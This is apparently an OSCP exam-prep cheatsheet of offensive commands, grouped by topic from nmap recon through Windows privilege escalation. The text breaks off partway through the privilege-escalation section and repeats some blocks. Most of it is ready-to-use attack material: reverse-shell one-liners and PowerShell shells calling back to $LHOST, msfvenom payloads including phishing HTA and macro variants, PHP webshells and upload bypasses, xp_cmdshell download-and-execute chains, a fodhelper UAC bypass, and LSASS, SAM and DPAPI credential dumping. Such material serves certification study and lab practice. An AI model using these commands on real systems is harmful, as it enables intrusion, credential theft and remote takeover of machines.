OSCP Command Cheatsheet

> Topic-grouped command reference for OSCP prep (PWK / Proving Grounds / HTB). Each topic lives in **one** place. Set your vars once and reuse them.

```
export IP=10.10.10.10
export LHOST=10.10.14.5          # your tun0 IP
export LPORT=4444
export DC=10.10.10.10 DOMAIN=corp.local USER=jdoe PASS='Passw0rd!'
export DCHOST=DC01.$DOMAIN
```

Proof commands

```
# Linux
hostname && whoami && id && cat proof.txt && ip a
# Windows
hostname && whoami.exe && type proof.txt && ipconfig /all
```

Contents

1. Methodology & mindset
2. Recon — nmap
3. Service enumeration (FTP, SMB, SSH, SMTP, DNS, SNMP, RPC, NFS, Redis, DBs, unknown ports)
4. LDAP
5. Web — enumeration & exploitation
6. Password attacks & file cracking
7. Reverse shells & TTY upgrade
8. File transfer
9. Windows privilege escalation
10. Linux privilege escalation
11. Pivoting & tunneling
12. Active Directory — full attack chain
13. Windows Buffer Overflow
14. Recurring patterns & "which attack?" map
15. Metasploit (one exam target only)
16. Exam workflow reminders

---

1. Methodology & mindset

Four phases: **nmap → service enum → exploit → post-exploit.**

- **Enumerate by level of effort:** file servers (FTP/SMB) → web → everything else. DNS bumped up (cheap, high-impact).
- **Catalog before you exploit:** note every service + version; `searchsploit` / Google it. In CTF/OSCP, DoS is useless — want RCE / file-read / file-inclusion.
- **Information re-use (the golden rule):** every username / password / key / hash / wordlist you find goes *back* to services you already looked at, and forward into new ones.
- **Manual, targeted enum beats blindly running scripts** — winPEAS/linpeas are a last resort, not the first move.
- **After a shell:** first check the config of the service you came in through (e.g. WordPress → `wp-config.php` → DB creds, often reused).
- **Don't tunnel-vision:** stuck 30+ min → step back and re-enumerate, you missed something.
- **Track as you go** in Notion/Obsidian/CherryTree; write the report alongside, not after.
- **Metasploit:** allowed on only **one** target in the exam — stay manual.

---

2. Recon — nmap

```
# Fast full TCP discovery, then deep-scan only the open ports
sudo nmap -Pn -p- --open -sS --min-rate 5000 -n $IP -oN ports.txt
ports=$(grep ^[0-9] ports.txt | cut -d/ -f1 | paste -sd,)
sudo nmap -Pn -sCV -p$ports $IP -oN nmap_deep.txt

# One-shot reliable / faster variants
sudo nmap -Pn -p- -sC -sV -T4 -oN nmap.txt $IP
sudo nmap -Pn -p- -sC -sV --min-rate 5000 -oN nmap.txt $IP        # tune min-rate if
drops

# UDP (go slower or you miss ports)
sudo nmap -Pn -sU -sV -T3 --top-ports 25 -oN udp.txt $IP

# Vuln scripts
sudo nmap --script vuln -p$ports $IP
sudo nmap --script smb-vuln-ms17-010 -p445 $IP

# Helpers
autorecon $IP
rustscan -a $IP -- -sCV
```

Read the **default-script output carefully** — it leaks FTP listings, NFS shares, robots.txt, DNS names, emails, hostnames, OS versions. Per port note: port → state → service → **version** (version tells you the

client to use + what to search).

No banner (`open unknown`): `nc -nv $IP <port>` + Enter a couple times; usually just move on (decoy / coupled service / malfunctioning).

Catalog exploits: `searchsploit <svc> <version>` ; Google `<svc> <version> exploit site:github.com` .

Unknown / high-port triage — ignore vs chase:

```
49152-49157 msrpc              → dynamic RPC, ignore
2869/5357/10243 HTTPAPI        → SSDP/UPnP device discovery, ignore
8080 / 8014 / 60000 http       → alt HTTP, chase LATER if common ports dead
2222 ssh                       → atypical SSH, ignore until you have a key/cred
1883 mqtt / other unfamiliar   → Google "<port> <svc> pentest" + HackTricks
5040 unknown                   → ignore unless all else fails (then
nc/telnet/wireshark)
```

---

3. Service enumeration

FTP (21)

```
ftp anonymous@$IP                              # password = Enter
nmap --script ftp-anon,ftp-syst -p21 $IP
wget -m ftp://anonymous:anonymous@$IP          # recursive pull
# once in: ls / get / put (test write!) / less / cd. Binary mode before uploading
exe.
```

Hunt: usernames, passwords, config, source, backups. `put` write access → chain with another service.

SMB (139/445)

```
# Enum + vulns
nmap --script "smb-enum-*,smb-os-discovery,smb-vuln-*" -p139,445 $IP
enum4linux-ng -A $IP
nxc smb $IP                                    # OS, domain, signing
# Null / anonymous session
smbclient -N -L //$IP/                         # list shares
smbclient -N //$IP/share                       # map a share (ls/get/put/cd)
smbclient "//$IP/Replication" -U ""%""         # explicit null-session syntax
smbmap -H $IP                                  # quickest per-share permission view
smbmap -H $IP -R                               # recursive file listing across shares
smbmap -H $IP -R share                         # recurse one share
smbmap -H $IP -d $DOMAIN -u $USER -p $PASS      # authenticated
nxc smb $IP -u '' -p '' --shares
```

```
# Grab a file directly (no shell) once you have read access:
smbclient "//$IP/C$" -U "$DOMAIN\\administrator%$PASS" -c 'get
\users\administrator\desktop\root.txt'
# RID cycling (anonymous user/group enum)
nxc smb $IP -u '' -p '' --rid-brute 3000
nxc smb $IP -u 'anonymous' -p '' --rid-brute 3000
# With creds
nxc smb $IP -u $USER -p $PASS --shares --users --groups --loggedon-users
# Mount
mount -t cifs //$IP/share /mnt/share -o username=$USER,password=$PASS
```

Boring shares to skip: `IPC$`, `print$`.

SSH (22)

```
ssh user@$IP
sshpass -p 'PASS' ssh user@$IP            # non-interactive (scripting / after spray)
nxc ssh $IP -u users.txt -p 'FoundPass!' --continue-on-success   # reuse a found
password across users
nmap --script ssh2-enum-algos,ssh-auth-methods -p22 $IP
# atypical binding (e.g. 2222) → same rules; test creds/keys you find later
```

SMTP (25)

```
nmap --script smtp-commands,smtp-enum-users -p25 $IP
smtp-user-enum -M VRFY -U users.txt -t $IP           # or -M RCPT -D $DOMAIN
nc -nv $IP 25   # then: VRFY root
```

IMAP (143/993) / POP3 (110/995)

```
telnet $IP 110                # POP3: USER x / PASS y / LIST / RETR 1
telnet $IP 143                # IMAP
openssl s_client -connect $IP:imaps    # 993 (TLS) ; pop3s = 995
# IMAP once logged in:  1 LOGIN user pass · 1 LIST "" * · 1 SELECT INBOX · 1 FETCH 1
BODY[TEXT]
```

DNS (53)

```
host -T -l $DOMAIN $IP                          # -l = AXFR zone transfer
dig axfr @$IP $DOMAIN ; nslookup
dnsrecon -d $DOMAIN -t axfr
gobuster dns -r $IP -d $DOMAIN -w /usr/share/seclists/Discovery/DNS/namelist.txt -t
100
```

Try whenever a domain name appears (e.g. TLS cert CN). Successful transfer → extra vhosts to test.

SNMP (161/udp)

```
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v2c -c public $IP .1.3.6.1.4.1.8072.1.3.2        # extend commands (numeric
OID if MIB errors)
onesixtyone -c community.txt $IP
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
snmp://$IP   # brute community string
snmp-check $IP
```

`NET-SNMP-EXTEND-MIB` can expose custom admin scripts/commands (paths, what they do) — a real foothold lead, not just system info.

RPC (135/111)

```
rpcclient -U "" -N $IP        # null session, then:
#   enumdomusers            → all users (+ RIDs)   → build a userlist for AS-REP
roast
#   enumdomgroups           → all groups (+ RIDs)
#   querygroup 0x200        → group info (0x200 = Domain Admins)
#   querygroupmem 0x200     → members' RIDs
#   queryuser 0x1f4         → user detail (0x1f4 = Administrator)
#   enumprinters / querydispinfo
rpcinfo -p $IP
```

NFS (2049)

```
showmount -e $IP
mount -t nfs $IP:/share /mnt/nfs -o nolock
# no_root_squash → create SUID binary as root off-box, run it on-box
```

Redis (6379)

```
redis-cli -h $IP           # INFO ; CONFIG GET dir
# write webshell to webroot / SSH key if writable
```

Databases

```
impacket-mssqlclient user:pass@$IP -windows-auth        # e.g. a Kerberoasted sql_svc
cred
```

```
mysql -h $IP -u root -p
psql -h $IP -U postgres
```

```
-- MSSQL foothold → SYSTEM (service account usually has SeImpersonate):
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure
'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';                        -- confirm SeImpersonate
EXEC xp_cmdshell 'powershell -c "curl.exe http://LHOST/PrintSpoofer64.exe -o
C:\Users\Public\ps.exe"';
EXEC xp_cmdshell 'C:\Users\Public\ps.exe -c "nc64.exe LHOST 9999 -e powershell"';   -
- → SYSTEM
-- impersonate/linked servers: EXECUTE AS LOGIN='sa'; EXEC sp_linkedservers;
```

---

4. LDAP

All LDAP in one place. Great when nxc/bloodhound aren't available and works over a proxy.

```
# 1) Discover base domain (anonymous base-object query)
ldapsearch -x -H ldap://$DC -s base namingcontexts
proxychains -q ldapsearch -x -H ldap://$DC -s base namingcontexts     # via pivot
#   output 'namingcontexts: DC=ad,DC=lab' → domain ad.lab, base DN DC=ad,DC=lab

# auto-build base DN from a domain string
BASE=$(echo $DOMAIN | tr '.' '\n' | xargs -I % echo "DC=%" | paste -sd, -)
```

Auth flags: `-x` simple auth · `-H ldap://host` · `-D` bind id (`CN=admin,DC=corp,DC=org` | `admin@corp.org` | `corp.org\admin`) · `-W` prompt pass · `-w` inline pass · `-b` search base.

```
BIND="$USER@$DOMAIN"
# Anonymous full dump (if allowed)
ldapsearch -x -H ldap://$DC -b "$BASE" 'objectClass=*'
# Authenticated queries
ldapsearch -x -H ldap://$DC -D "$BIND" -W -b "$BASE"                       # domain
props
ldapsearch -x -H ldap://$DC -D "$BIND" -W -b "$BASE" '(objectClass=user)'
ldapsearch -x -H ldap://$DC -D "$BIND" -W -b "$BASE" '(objectClass=group)'
ldapsearch -x -H ldap://$DC -D "$BIND" -W -b "$BASE" '(objectClass=computer)'
group="Domain Admins"
ldapsearch -x -H ldap://$DC -D "$BIND" -W -b "$BASE" "(sAMAccountName=${group})"
```

High-value filters:

```
# AS-REP roastable (no pre-auth)
ldapsearch ... -b "$BASE" '(&(objectClass=user)
```

```
(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
# Kerberoastable (has SPN)
ldapsearch ... -b "$BASE" '(&(objectClass=user)(servicePrincipalName=*))'
servicePrincipalName sAMAccountName
# Password never expires
ldapsearch ... -b "$BASE" '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
# Mine description fields for creds
ldapsearch ... -b "$BASE" '(objectClass=user)' sAMAccountName description | grep -iE
'sAMAccountName|description'
```

Tip: pipe through `grep -iE 'sAMAccountName|description|memberOf'` and always read `description` fields — creds hide there. Automated alternative: `ldapdomaindump -u "$DOMAIN\\$USER" -p $PASS $DC -o ldapdump/`.

---

5. Web — enumeration & exploitation

Enumeration

```
whatweb http://$IP ; nikto -h http://$IP
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-
directories.txt -x php,html,txt
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-
list-2.3-medium.txt -x php,html -t 100 -o gob.txt
gobuster dir -k -u https://dev.$DOMAIN -w /usr/share/seclists/Discovery/Web-
Content/big.txt -x php,html -t 100
dirsearch -u http://$IP -e php,html,txt
# hidden params
arjun -u http://$IP/page.php
ffuf -u "http://$IP/page.php?FUZZ=test" -w params.txt
# CMS
wpscan --url http://$IP --enumerate u,vp,vt
droopescan scan drupal -u http://$IP
```

Decision tree

- **IP vs scheme:** load `http://$IP` and `https://$IP` → 80 redirects to 443 = test 443 only; different content = test each.
- **Virtual hosts:** the `Host` header picks the site. Add names to `/etc/hosts`: `$IP site.test dev.site.test admin.site.test`. Same content across names = no vhosts (test by IP); different = test each vhost separately.

  ```
  ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w subdomains.txt -fs <baseline-size>
  ```

- **Then:** walk as a normal user (sign up, click, note inputs) → view-source `Ctrl+U` (creds/paths in comments) → `robots.txt` + `sitemap.xml` (often reveal `/admin`) → dir brute (20x/30x interesting, 403 = "what am I not allowed to see?").
- **401/403 bypass:** trailing `/`, `/.`, `//`, `%2e`, `X-Forwarded-For: 127.0.0.1`, `X-Original-URL`, case change, HTTP verb swap.

Exploitation

```
# SQLi (manual: ' OR 1=1-- -  /  UNION SELECT 1,2,3-- -)
sqlmap -u "http://$IP/page.php?id=1" --batch --dbs
sqlmap -r request.txt --batch --level 5 --risk 3 -D db -T users --dump
# MSSQL stacked → xp_cmdshell ; MySQL → INTO OUTFILE webshell
```

```
# LFI / traversal
?file=../../../../etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php
# log poisoning → RCE (User-Agent payload into access.log then include it)
# wrappers: data://, expect://
```

```
# File upload bypass: shell.php.jpg, .phtml/.php5, MIME swap, magic-byte prefix, case
.pHp
#   more ext tricks: null/trailing → shell.php%00.png, shell.php%20, shell.php.,
shell.php::$data (NTFS)
#   webshell inside image metadata: exiftool -Comment='<?php system($_GET["c"]); ?>'
img.jpg (rename .php)
#   Double extension: if only the LAST ext is checked but Apache AddHandler matches
#   ".php" ANYWHERE in the name → upload shell.php.png (real image bytes + php mid-
file):
#     make a valid image pass the MIME check, then embed a webshell:
#     printf '\x89PNG\r\n' > s.php.png ; echo '<?php system($_GET["cmd"]); ?>' >>
s.php.png
#   visit /uploads/s.php.png?cmd=id  → RCE
# Simple PHP webshell:  <?php system($_GET["cmd"]); ?>
# Command injection: ; id | id || id `id` $(id) %0aid
# SSTI (detect {{7*7}}): Jinja2 {{''.__class__.__mro__[1].__subclasses__()}}
# XXE: <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
# PHP deserialization: phpggc Monolog/RCE1 system id -o payload.txt
# Git leak: detect with `nmap --script http-git` or browse /.git/ ; then dump + mine
history:
#   git-dumper http://$IP/.git/ ./loot   (or: wget -r http://$IP/.git/)
#   cd loot ; git log --oneline ; git show <commit>   → creds in old/DELETED files,
remote URLs w/ tokens
#   git log -p | grep -iE 'pass|user|token|key'
```

```
# Shellshock (cgi-bin)
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'id'" http://$IP/cgi-bin/test.cgi
```

Recurring CMS/apps: Drupal (Drupalgeddon2), Cacti, LibreNMS, osTicket, Joomla, Magento, Bolt, CMS Made Simple → `searchsploit <cms> <version>`.

---

6. Password attacks & file cracking

```
# rockyou is gzipped by default
gunzip -k /usr/share/wordlists/rockyou.txt.gz
# Build wordlist from a site
cewl -d 3 -m 5 http://$IP -w cewl.txt

# Online brute (hydra)
hydra -L users.txt -P rockyou.txt $IP ssh
hydra -l admin -P rockyou.txt ftp://$IP
hydra -L users.txt -P users.txt ftp://$IP -t 50        # try each username AS its own
password (cassie:cassie)
hydra -L users.txt -P pass.txt $IP http-post-form
"/login.php:user=^USER^&pass=^PASS^:Invalid"
# usernames from PDF/doc metadata: exiftool *.pdf | grep Author   → feed into
users.txt

# Offline crack
hashcat -m 0 hash.txt rockyou.txt        # 0 MD5 · 1000 NTLM · 1800 sha512crypt
john --wordlist=rockyou.txt hash.txt
john --show hash.txt
# stuck / unknown hash type → try hashes.com (online lookup) or `hashid <hash>` /
`nth`
unshadow passwd shadow > unshadowed.txt

# File → hash (the *2john family)
zip2john f.zip > h        # then unzip -P 'PASS' f.zip -d out/
pfx2john cert.pfx > h     # .pfx/.p12 — output leaks CN/UPN in cleartext BEFORE
cracking!
ssh2john id_rsa > h ; office2john doc > h ; 7z2john f.7z > h
keepass2john db.kdbx > h ; rar2john f.rar > h ; pdfcrack file.pdf -w rockyou.txt
```

Extract cert + key from a cracked PFX:

```
openssl pkcs12 -in cert.pfx -nocerts -nodes  -out key.pem  -passin pass:'PASS'   #
private key
openssl pkcs12 -in cert.pfx -clcerts -nokeys -out cert.pem -passin pass:'PASS'   #
cert
```

Wordlist paths (SecLists):

```
Dirs      /usr/share/seclists/Discovery/Web-Content/{raft-medium-
directories,directory-list-2.3-medium,common}.txt
Subdomains /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
Users     /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Passwords /usr/share/wordlists/rockyou.txt
LFI       /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
Custom users: ./username-anarchy Firstname Lastname > users.txt
```

Reading loot files (offline cred extraction):

```
file loot.bin                                    # always identify first
# MS Access .mdb / .accdb
mdb-tables backup.mdb
mdb-export backup.mdb <table>
# list only the non-empty tables:
mdb-tables backup.mdb | tr ' ' '\n' | grep . | while read t; do n=$(mdb-export
backup.mdb "$t"|wc -l); [ $n -gt 1 ] && echo "$t: $n"; done
# → look for auth_user / USERINFO style tables holding username,password

# Password-protected zip using AES (7z; unzip errors "compression method 99")
7z x archive.zip                                 # prompts for password

# Outlook .pst → readable mbox
readpst mail.pst                                 # → mail.mbox
mutt -Rf mail.mbox                               # read (R=readonly, f=file); or just
less/grep

# Other: sqlite3 db.sqlite ".tables" · strings file · exiftool img.jpg · dnSpy (.NET)
```

---

7. Reverse shells & TTY upgrade

```
# Listener
rlwrap nc -lvnp $LPORT

# Payloads
bash -c 'bash -i >& /dev/tcp/'$LHOST'/'$LPORT' 0>&1'
nc -e /bin/sh $LHOST $LPORT
# mkfifo (when nc has no -e) — the classic that always works:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f
python3 -c 'import
socket,subprocess,os;s=socket.socket();s.connect(("'$LHOST'",'$LPORT'));
[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh"])'
perl -e 'use
```

```
Socket;$i="'$LHOST'";$p='$LPORT';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$s=fsockopen("'$LHOST'",'$LPORT');exec("/bin/sh -i <&3 >&3 2>&3");'
# Dodge bad chars / quoting in an injection point → base64 the whole command:
echo 'nc -e /bin/bash '$LHOST' '$LPORT | base64 -w0        # attacker: build it
# target:  echo <base64> | base64 -d | sh

# PowerShell (Windows)
powershell -nop -c "$c=New-Object
Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%
{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+
(pwd).Path+'> ';$sby=
([Text.Encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"
```

```
# Upgrade dumb shell → full PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z ; stty raw -echo; fg ; (Enter)
export TERM=xterm; export SHELL=/bin/bash; stty rows 38 cols 116   # match `stty
size` locally

# socat fully-interactive (best when available)
# attacker: socat file:`tty`,raw,echo=0 TCP-L:4444
# target:   socat TCP:$LHOST:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
```

```
# msfvenom payloads
msfvenom -p linux/x64/shell_reverse_tcp   LHOST=$LHOST LPORT=$LPORT -f elf  -o
shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe  -o
shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f aspx -o
shell.aspx
msfvenom -p php/reverse_php               LHOST=$LHOST LPORT=$LPORT -f raw  -o
shell.php
# Client-side (phish a user to run it) — HTA (IE/mshta) & Office macro:
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f hta-psh -o
evil.hta   # host it, victim opens → mshta
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f vba             #
paste into a Word/Excel macro (Document_Open)
```

---

8. File transfer

```
# Serve from attacker
python3 -m http.server 80
```

```
impacket-smbserver share . -smb2support

# Linux target pull
wget http://$LHOST/f -O /tmp/f ; curl http://$LHOST/f -o /tmp/f
scp kali@$LHOST:~/tools/linpeas.sh /tmp/          # pull from Kali (if SSH creds)
scp ./loot.zip kali@$LHOST:~/                      # push to Kali

# Windows target pull
certutil -urlcache -f http://$LHOST/f.exe f.exe
powershell -c "Invoke-WebRequest http://$LHOST/f.exe -OutFile f.exe"
powershell -c "(New-Object
Net.WebClient).DownloadFile('http://$LHOST/f.exe','f.exe')"
copy \\$LHOST\share\f.exe .

# Exfil a binary file with no direct channel (shell only): base64 via certutil
#   on Windows: certutil -encode file.bin out.b64 ; type out.b64   (copy the block)
#   on Kali:    cat out.b64 | base64 -d > file.bin
```

---

9. Windows privilege escalation

Enumeration / situational awareness

```
whoami /all ; whoami /priv ; whoami /groups     # SID, groups, privileges, integrity
systeminfo                                       # OS/version/arch/hotfixes
# Users & groups (cmd or PowerShell)
net user ; net user <u> ; net localgroup ; net localgroup administrators
Get-LocalUser ; Get-LocalGroup ; Get-LocalGroupMember Administrators
# Network
ipconfig /all ; route print ; netstat -ano ; arp -a
# Installed apps (32 + 64 bit) + running processes
Get-ItemProperty
"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select
displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" |
select displayname
Get-Process ; Get-CimInstance win32_service | Select Name,State,PathName
# Automated (last resort — don't blindly trust it)
.\winPEASany.exe ; .\Seatbelt.exe -group=all
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
```

Groups worth noting: **Backup Operators** (read any file), **Remote Desktop Users** (RDP), **Remote Management Users** (WinRM), **adminteam/BackupUsers**-style custom groups. `admin` in a name = likely privileged twin account.

Sensitive-info hunting (no exploit needed)

```
# Search by extension anywhere
Get-ChildItem -Path C:\ -Include *.kdbx,*.txt,*.ini,*.config,*.xml -File -Recurse -
ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\<u>\ -Include *.txt,*.pdf,*.xls*,*.doc* -File -Recurse -
ErrorAction SilentlyContinue
findstr /si /m password *.xml *.ini *.txt *.config
reg query HKLM /f password /t REG_SZ /s
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /t REG_SZ /s   # PuTTY saved
sessions (proxy creds cleartext)
# App config gold: C:\xampp\passwords.txt, my.ini, FileZilla
(sitemanager.xml/recentservers.xml), unattend.xml, web.config, WinSCP.ini
# PowerShell history + transcripts (Admins clear Get-History but NOT PSReadline!)
Get-History
(Get-PSReadLineOption).HistorySavePath
type C:\Users\
<u>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\Public\Transcripts\*.txt        # transcripts often hold plaintext
$cred (ConvertTo-SecureString)
```

Found a password → **reuse it everywhere** (every user/service). To switch user: RDP/WinRM (if in the right group), `runas /user:HOST\user cmd` (needs GUI/interactive), or schedule a task (Log-on-as-batch).

Vector: service binary hijacking

```
Get-CimInstance win32_service | Select Name,State,PathName | Where {$_.State -like
'Running'}
icacls "C:\path\service.exe"                    # look for BUILTIN\Users:(F) or (M)
→ writable
# replace it (back up original first), then restart or reboot:
move C:\path\service.exe service.exe.bak ; move .\adduser.exe C:\path\service.exe
net stop <svc> && net start <svc>               # or if StartMode=Auto and you have
SeShutdownPrivilege:
shutdown /r /t 0
# PowerUp: Get-ModifiableServiceFile → Install-ServiceBinary -Name '<svc>'
```

Vector: DLL hijacking

```
# Find a service/app that loads a missing DLL (Procmon on a copy → CreateFile ...
NAME NOT FOUND).
# If you can write to a dir earlier in the DLL search order (app dir is #1), drop a
malicious DLL there.
# Compile a DLL whose DllMain runs your payload on DLL_PROCESS_ATTACH:
x86_64-w64-mingw32-gcc evil.cpp --shared -o TextShaping.dll     # name = the missing
DLL
iwr -uri http://LHOST/TextShaping.dll -OutFile 'C:\App\Dir\TextShaping.dll'
```

```
# runs at the privilege of whoever launches the app → wait for an admin, or trigger
it.
```

Vector: unquoted service path

```
wmic service get name,pathname,startmode | findstr /i "Auto" | findstr /i /v
"C:\Windows\\"
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# spaces + no quotes
```

For `C:\Program Files\Enterprise Apps\Current Version\svc.exe`, Windows tries `C:\Program.exe`, `C:\Program Files\Enterprise.exe`, `...\Current.exe`. `icacls` each dir for a writable one, drop your exe named for that fragment (`Current.exe`), then `Start-Service <svc>`. PowerUp: `Get-UnquotedService` → `Write-ServiceBinary -Name '<svc>' -Path <hijack>`.

Vector: scheduled tasks

```
schtasks /query /fo LIST /v | findstr /v "\Microsoft"     # note Task To Run + Run As
User + Next Run Time
Get-ScheduledTask
icacls "C:\path\TaskBinary.exe"                            # writable + runs as a
higher user → replace it
```

Vector: AlwaysInstallElevated

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# both =0x1
msfvenom -p windows/exec CMD="net localgroup administrators user /add" -f msi -o
e.msi
msiexec /quiet /qn /i e.msi
```

Vector: UAC bypass (admin user at Medium integrity → High)

```
whoami /groups | findstr Level        :: "Medium Mandatory Level" = UAC-limited admin
token
:: quick try:  powershell Start-Process cmd.exe -Verb runAs   (needs a prompt)
:: fodhelper (fileless, no prompt): point ms-settings shell open at your payload
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d
"C:\Users\Public\rev.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t
REG_SZ /f
start C:\Windows\System32\fodhelper.exe        :: → rev.exe runs High integrity ;
then delete the reg keys
```

Vector: token privileges → Potato (SeImpersonate)

```
whoami /priv                                        # SeImpersonate/SeAssignPrimaryToken
(common on IIS/MSSQL svc accounts)
.\SigmaPotato "net user dave4 lab /add" ; .\SigmaPotato "net localgroup
administrators dave4 /add"
.\PrintSpoofer.exe -i -c cmd                        # or GodPotato / JuicyPotatoNG /
SweetPotato
# GOTCHA: if PrintSpoofer falls back to CreateProcessWithTokenW, on-disk `> file` /
copy silently
# fail — use a reverse shell instead of a redirect:
#   msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o
rev.exe   (nc -lvnp 443)
.\PrintSpoofer64.exe -c "C:\path\rev.exe"
```

Also privesc-relevant: SeBackup/SeRestore, SeLoadDriver, SeDebug, SeTakeOwnership.

Vector: kernel / app exploits

```
systeminfo ; Get-CimInstance win32_quickfixengineering | ? {$_.Description -eq
"Security Update"}
# match missing KBs → CVE (e.g. CVE-2023-29360). Only run kernel exploits with
source available; they can crash the box.
```

The classic privesc payload (service/task/DLL hijack)

```
// adduser.c  →  x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
#include <stdlib.h>
int main(){ system("net user dave2 password123! /add");
            system("net localgroup administrators dave2 /add"); return 0; }
```

Credential access

```
cmdkey /list                                        # cached creds → runas /savecred
# .lnk files often reveal the stored runas command:
powershell -c "$w=New-Object -ComObject WScript.Shell; $w.CreateShortcut((gci
*.lnk))"
runas /user:HOST\Administrator /savecred "powershell iex(new-object
net.webclient).downloadstring('http://LHOST/shell.ps1')"
Get-CimInstance Win32_Process | Select Name,@{N='Owner';E={($_|Invoke-CimMethod
GetOwner).User}},CommandLine | fl
# DPAPI: exfil %APPDATA%\Microsoft\Protect\<SID>\<guid> + \Credentials\<hex> (base64
via certutil, §8), then mimikatz:
#   dpapi::masterkey /in:masterkey /sid:<SID> /password:<user-pw>  ;  dpapi::cred
/in:credentials
```

```
# From Kali against a box where you're local admin — dump LSASS (great when sessions
are active):
nxc smb $IP -u user -p pass -M lsassy            # cleartext + NTLM from live
sessions
nxc smb $IP -u user -p pass --sam --lsa          # SAM + LSA secrets
```

```
:: XAMPP / MariaDB runs as SYSTEM — dump every DB locally (bypasses host-restricted
3306):
C:\xampp\mysql\bin\mysqldump.exe -u root --all-databases > C:\xampp\tmp\dump.sql
:: app DBs + C:\xampp\passwords.txt are a credential goldmine
```

Tip: `powershell -File -` over telnet/dumb shell gives a fuller PS session than bare `powershell`.
Flag hunting on domain-joined boxes: the admin profile is often `C:\Users\Administrator.HOSTNAME\` (join artifact) — `dir C:\Users\` early instead of assuming plain `Administrator`.

Cached creds → runas /savecred (when `cmdkey /list` shows a stored account):

```
cmdkey /list                                     #
"Domain:interactive=HOST\Administrator" = cached
# .lnk files on desktops often reveal the runas /savecred command that stored them
type "shortcut.lnk"                              # strings visible: /user:HOST\Admin
/savecred
powershell -c "$w=New-Object -ComObject WScript.Shell; $w.CreateShortcut((gci
*.lnk))"  # parse it
# run anything as that cached user (opens new process → catch a shell):
runas /user:HOST\Administrator /savecred "powershell iex(new-object
net.webclient).downloadstring('http://LHOST/shell.ps1')"
```

DPAPI decrypt (extract the cached password itself):

```
# 1) exfil the master key + credential blob (base64 via certutil, see §8):
#    %APPDATA%\Microsoft\Protect\<SID>\<guid>      ← master key
#    %APPDATA%\Microsoft\Credentials\<hex>         ← credential blob
# 2) on a Windows box with mimikatz:
dpapi::masterkey /in:masterkey /sid:<SID> /password:<current-user-pw>
dpapi::cred /in:credentials        # uses the masterkey cached in memory → prints
CredentialBlob
```

Tip: `powershell -File -` over a telnet/dumb shell gives a fuller PS session than bare `powershell`.
Post-admin dump:

```
impacket-secretsdump domain/user:pass@$IP
# offline SAM+SYSTEM: impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# grab the hives first (reg save, or find them in a leftover
C:\windows.old\Windows\System32\):
#   reg save hklm\sam sam ; reg save hklm\system system ; reg save hklm\security
```

```
security
#   (windows.old after an upgrade often holds readable SAM/SYSTEM → local admin
hash)
# LSASS dump → pypykatz lsa minidump lsass.dmp
```

Once admin — open a GUI/remote path in:

```
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
/t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" <user> /add          :: then xfreerdp
winrm quickconfig -q -force ; net start winrm               :: enable WinRM for evil-
winrm
```

Enable remote access once admin (e.g. from Evil-WinRM, to get a GUI/RDP):

```
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
/t REG_DWORD /d 0 /f
